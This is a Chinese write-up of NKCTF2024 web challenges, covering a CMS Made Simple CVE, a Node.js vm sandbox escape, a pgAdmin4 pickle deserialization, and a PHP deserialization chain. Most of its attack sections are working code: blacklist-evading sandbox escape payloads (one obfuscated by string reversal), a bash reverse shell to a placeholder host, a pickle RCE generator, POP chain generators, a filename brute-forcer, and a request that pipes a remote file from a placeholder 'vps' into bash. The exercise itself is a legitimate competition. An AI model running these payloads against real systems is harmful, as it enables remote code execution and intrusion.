NKCTF2024-web-wp
看一半看渗透去了,没打完...
my first cms
CMSMS的CVE。
看到下面的version是2.2.19,直接搜到CVE-2024-27622,但是写的是SSTI,这个作者还写了个RCE:
capture0x/CMSMadeSimple (github.com)
然后一步步来就行,登录是弱密码Admin123,难绷的是我top19623都跑不出来,字典真该换了...
没啥含金量,进去就RCE了。
全世界最简单的CTF
Nodejs沙箱逃逸。
这里访问/secret可以看到源码,而且vm沙箱逃逸比vm2好绕一点:
const express = require('express'); const bodyParser = require('body-parser'); const app = express(); const fs = require("fs"); const path = require('path'); const vm = require("vm"); app.use(bodyParser.json()).set('views', path.join(__dirname, 'views')).use(express.static(path.join(__dirname, '/public'))) app.get('/', function (req, res){ res.sendFile(__dirname + '/public/home.html'); }) function waf(code) { let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g; if(code.match(pattern)) { throw new Error("what can I say? hacker out!!"); } } app.post('/', function (req, res) { let code = req.body.code; let sandbox = Object.create(null); let context = vm.createContext(sandbox); try { waf(code) let result = vm.runInContext(code, context); console.log(result); } catch (e){ console.log(e.message); require('./hack'); } }) app.get('/secret', function (req, res) { if(process.__filename == null) { let content = fs.readFileSync(__filename, "utf-8"); return res.send(content); } else { let content = fs.readFileSync(process.__filename, "utf-8"); return res.send(content); } }) app.listen(3000, ()=>{ console.log("listen on 3000"); })
黑名单瞩目,process、exec、spawn、Buffer、+、\、concat、eval、Function还有中括号都给ban了。
题目如果没黑名单,应该这么写:
throw new Proxy({}, { get: function(){ const c = arguments.callee.caller; const p = (c.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('whoami').toString(); } })
而且细看源码
let sandbox = Object.create(null);
这里上下文对象的原型链设置为null,这时沙箱在通过this.constructor,就会无法完成沙盒逃逸。
但可以用arguments.callee.caller绕过和Proxy代理绕过。
参考:NodeJS VM沙箱逃逸_let sandbox = object.create(null); let context = v-CSDN博客
NodeJS VM和VM2沙箱逃逸 - 先知社区 (aliyun.com)
比如这里官方的做法是原型链污染:
payload:
throw new Proxy({}, { get: function(){ const cc = arguments.callee.caller; cc.__proto__.__proto__.data = {"name": "./hack", "exports":"./shell.js"}; cc.__proto__.__proto__.path = "/app"; cc.__proto__.__proto__.command = "bash -c 'bash -i >& /dev/tcp/vps/port 0>&1'"; } })
但是这里的command确实有点想不到,这里我看了看其他人的wp,第一名laogong队用到了replace,算是非预期吧,但是很自然:
throw new Proxy({}, { get: function(){ const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return procBess'.replace('B','')))(); const obj = p.mainModule.require('child_procBess'.replace('B','')); const ex = Object.getOwnPropertyDescriptor(obj, 'exeicSync'.replace('i','')); return ex.value('whoami').toString(); } })
他们用replace绕开了process和exec这两大ban点,直接执行就完事了,tql。
Z3r4y师傅:
throw new Proxy({}, { get: function(){ const content = `;)"'}i-,hsab{|}d-,46esab{|}d-,46esab{|}9UkaKtSQEl0MNpXT4hTeNpHNp5keFpGT5lkaNVXUq1Ee4M0YqJ1MMJjVHpldBlmSrE0UhRXQDFmeG1WW,ohce{' c- hsab"(cexe;)"ssecorp_dlihc"(eriuqer = } cexe { tsnoc`; const reversedContent = content.split('').reverse().join(''); const c = arguments.callee.caller; const p = (c.constructor.constructor(`${`${`return proces`}s`}`))(); p.mainModule.require('fs').writeFileSync('/tmp/test1.js', reversedContent); return p.mainModule.require(`${`${`child_proces`}s`}`).fork('/tmp/test1.js').toString(); } })
他的解释:
也算很6的奇技淫巧。
gxn师傅用了toLowerCase()函数来绕过部分,然后利用反射调用的方式来获取exec,跟我自己的思路很像:
throw new Proxy({}, { get: function(){ const cc = arguments.callee.caller; const aa = 'return Process'.toLowerCase(); const bb = 'child_pRocess'.toLowerCase(); const p = (cc.constructor.constructor(aa))().mainModule.require(bb); return Reflect.get(Reflect.get(p, Reflect.ownKeys(p).find(x=>x.startsWith('ex')))('ls')); } })
我当时想到的是十六进制绕过+reflect反射绕过,但源码找不到了,思路来自于:nodejs中代码执行绕过的一些技巧-安全客 - 安全资讯平台 (anquanke.com)
总之这道题看似ban了很多,但是还是手下留情了hhh。
attack_tacooooo
登录给了邮箱,密码开始不知道咋登,试了试这个tacooooo结果进去了.....
参考:
【漏洞通告】pgAdmin4反序列化代码执行漏洞(CVE-2024-2044)-启明星辰 (venustech.com.cn)
跟着步骤做,然后直接打pickle反序列化,因为题目说没有curl和bash,考虑不出网,那就把环境变量写进文件:
import struct import pickle import sys import base64 class RCE(object): def __reduce__(self): return (eval,("__import__('os').system('cat /proc/1/environ > /var/lib/pgadmin/storage/tacooooo_qq.com/1.txt')",)) poc = RCE() result = pickle.dumps(poc) if __name__ == '__main__': with open('C:\\Users\\75279\\Desktop\\posix.pickle', 'wb') as f: f.write(result)
路径是bp抓包上传得到的上传文件的路径。
上传posix.pickle后然后修改cookie:
pga4_session=/var/lib/pgadmin/storage/tacooooo_qq.com/posix.pickle!+DrpP6qW8K+12X2dzDyM0fdW/0o6ePTPKEZYaF4sr7s=;
发包后读flag就行了(用的gxn师傅的图)
用过就是熟悉
php代码审计,本质上还是个反序列化。
其实没啥难的,但是我是懒勾,看一半润了呃呃,就没做出来。
首先是看到个unserialize,大致有底了:
藏得挺深的,看这个确实需要点耐心的。
这里直接过一下整体的链子吧,入口是Windows.php::__destruct():
调用了removeFiles()函数,我们跟进一下:
可以看到这里会把$this->files当成字符串拼接,可以触发__toString()。
而这个__toString()位于Collection.php:
跟进toJson():
调用了toArray(),再跟进:
继续跟进items->Loginout,失败了,这里也有红下划线报错,也就是说这里调用了一个不可访问的属性,可以触发View.php::__get():
而这里Loginsubmit()找不到了,也就是说可以实现调用不可访问的函数,触发Testone.php::__call()。
而这里确实有一个hint,路径应该对了。
当然,正在做题的时候,这样正向推很难,因为有很多混淆项,一般来说是看到hint往回推,这里方便找链子便事后诸葛亮一下吧hhhh
我们注意到文件名是以时间戳的md5以后重新生成的,那么我们不断发包爆破即可,这里用了laogong队的MD5条件竞争卡hint:
import hashlib import time import requests t = 1711177055 url = "http://5f9e4285-0d6a-41e4-8727-bb3d953aebd4.node.nkctf.yuzhian.com.cn/app/controller/user/think/" # 遍历列表中的每个数字 while True: t = t + 1 number_str = str(t).encode('utf-8') hash_object = hashlib.md5(number_str) md5_hash = hash_object.hexdigest() res = requests.get(url=url+md5_hash) time.sleep(1) print(f"{md5_hash} : f{len(res.text)}") print(res.text)
gxn师傅的:
import time import hashlib import requests url="http://7f18d7c7-788d-4e80-9626-ecdadda7673e.node.nkctf.yuzhian.com.cn/app/controller/user/think/" while(1): a = str(int(time.time())).encode('utf-8') hash_object = hashlib.md5(a) md5_hash = hash_object.hexdigest() #print(url+md5_hash) re1=requests.get(url+md5_hash) print(url+md5_hash) if 'kodbox' not in re1.text: print(re1.text) break
poc链:
<?php namespace think; use ArrayAccess; use ArrayIterator; use Countable; use IteratorAggregate; use JsonSerializable; class Collection { public $item; } namespace think\process\pipes; use PHPEMS\item_weixin; use think\Collection; use think\Process; class Windows { public $files; } namespace think; class View { public $data; public $engine; } namespace think; use think\exception\ClassNotFoundException; use think\response\Redirect; class Debug extends Testone { } namespace think; abstract class Testone { } use think\process\pipes\Windows; $A = new \think\process\pipes\Windows(); $A -> files = array(new \think\Collection()); $A -> files[0]-> items = new \think\View(); $A -> files[0]-> items->data= array("loginout"=>new \think\Debug()); $A -> files[0]-> items->engine = array("time"=>"10086"); echo base64_encode(serialize($A));
然后是一段情书(难绷):
亲爱的Chu0, 我怀着一颗激动而充满温柔的心,写下这封情书,希望它能够传达我对你的深深情感。或许这只是一封文字,但我希望每一个字都能如我心情般真挚。 在这个瞬息万变的世界里,你是我生命中最美丽的恒定。每一天,我都被你那灿烂的笑容和温暖的眼神所吸引,仿佛整个世界都因为有了你而变得更加美好。你的存在如同清晨第一缕阳光,温暖而宁静。 或许,我们之间存在一种特殊的联系,一种只有我们两个能够理解的默契。 <<<<<<<<我曾听说,密码的明文,加上心爱之人的名字(Chu0),就能够听到游客的心声。>>>>>>>> 而我想告诉你,你就是我心中的那个游客。每一个与你相处的瞬间,都如同解开心灵密码的过程,让我更加深刻地感受到你的独特魅力。 你的每一个微笑,都是我心中最美丽的音符;你的每一句关心,都是我灵魂深处最温暖的拥抱。在这个喧嚣的世界中,你是我安静的港湾,是我倚靠的依托。我珍视着与你分享的每一个瞬间,每一段回忆都如同一颗珍珠,串联成我生命中最美丽的项链。 或许,这封情书只是文字的表达,但我愿意将它寄予你,如同我内心深处对你的深深情感。希望你能感受到我的真挚,就如同我每一刻都在努力解读心灵密码一般。愿我们的故事能够继续,在这段感情的旅程中,我们共同书写属于我们的美好篇章。 POST /?user/index/loginSubmit HTTP/1.1 Host: 192.168.128.2 Content-Length: 162 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.128.2 Referer: http://192.168.128.2/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: kodUserLanguage=zh-CN; CSRF_TOKEN=xxx Connection: close name=guest&password=tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1hRiPQvaI&rememberPassword=0&salt=1&CSRF_TOKEN=xxx&API_ROUTE=user%2Findex%2FloginSubmit hint: 新建文件
这里laogong队直接吐槽:“guest的密码数据库就有,还用你说。。。”
当然这里hint还是有用的,就是提示我们guest的密码就是明文+Chu0,但要去本地调试才能拿到。
不如去db.sql数据库直接找到密码:
970> INSERT INTO `system_log` VALUES (377, '2c5e224cb2b5aaab51e3f43ff7595ebb', 2, 'admin.member.edit', '{\"userID\":\"2\",\"name\":\"guest\",\"roleID\":\"1\",\"email\":\"\",\"phone\":\"\",\"nickName\":\"guest\",\"avatar\":\"\",\"sex\":\"1\",\"sizeMax\":\"2\",\"sizeUse\":\"2072\",\"status\":\"1\",\"lastLogin\":\"1709790070\",\"modifyTime\":\"1709804480\",\"createTime\":\"1709036345\",\"groupInfo\":\"{\\\"1\\\":\\\"5\\\"}\",\"jobInfo\":\"[]\",\"sourceInfo\":\"{\\\"sourceID\\\":\\\"17\\\",\\\"size\\\":\\\"1806\\\"}\",\"password\":\"!@!@!@!@NKCTFChu0\",\"addMore\":\"more\",\"_change\":{\"password\":\"!@!@!@!@NKCTFChu0\"},\"ip\":\"::1\"}', 1709873243);
其实就是
guest//!@!@!@!@NKCTFChu0
登进去后是最新版的可道云,就不考虑本身存在的漏洞了,在回收站找到一个新建文件.html的文件,里面提示var/www/html/data/files/shell这里有个一句话木马,那么就想办法包含这个文件,在think\Config.php中找到__call:
这里过滤其实没啥用,直接文件包含就行了:
<?php namespace think; use ArrayAccess; use ArrayIterator; use Countable; use IteratorAggregate; use JsonSerializable; class Collection { public $items; } namespace think\process\pipes; use PHPEMS\item_weixin; use think\Collection; use think\Process; class Windows { public $files; } namespace think; class View { public $data; public $engine; } namespace think; class Config{ } use think\process\pipes\Windows; $A = new \think\process\pipes\Windows(); $A -> files = array(new \think\Collection()); $A -> files[0]-> items = new \think\View(); $A -> files[0]-> items->data= array("Loginout"=>new \think\Config()); $A -> files[0]-> items->engine = array("name"=>"../../../../../../../../../var/www/html/data/files/shell"); echo base64_encode(serialize($A));
发包反弹shell:
POST /?user/index/loginSubmit HTTP/1.1 Host: 4c25fbb5-d81b-42e6-9e50-68bc971f9737.node.nkctf.yuzhian.com.cn User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 524 Origin: http://4c25fbb5-d81b-42e6-9e50-68bc971f9737.node.nkctf.yuzhian.com.cn Connection: close Referer: http://4c25fbb5-d81b-42e6-9e50-68bc971f9737.node.nkctf.yuzhian.com.cn/ Cookie: KOD_SESSION_ID=64c270bccb5c05527633e83a39335ff8; CSRF_TOKEN=7G373pfZFetxc4CY name=guest&password=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjU6ImZpbGVzIjthOjE6e2k6MDtPOjE2OiJ0aGlua1xDb2xsZWN0aW9uIjoxOntzOjU6Iml0ZW1zIjtPOjEwOiJ0aGlua1xWaWV3IjoyOntzOjQ6ImRhdGEiO2E6MTp7czo4OiJMb2dpbm91dCI7TzoxMjoidGhpbmtcQ29uZmlnIjowOnt9fXM6NjoiZW5naW5lIjthOjE6e3M6NDoibmFtZSI7czo1NjoiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9odG1sL2RhdGEvZmlsZXMvc2hlbGwiO319fX19&rememberPassword=0&salt=1&CSRF_TOKEN=7G373pfZFetxc4CY&API_ROUTE=user%2Findex%2FloginSubmit&0=system('curl http://vps:port/1.html|bash');
总之,审计是很烦,能做下来的确实坐的住。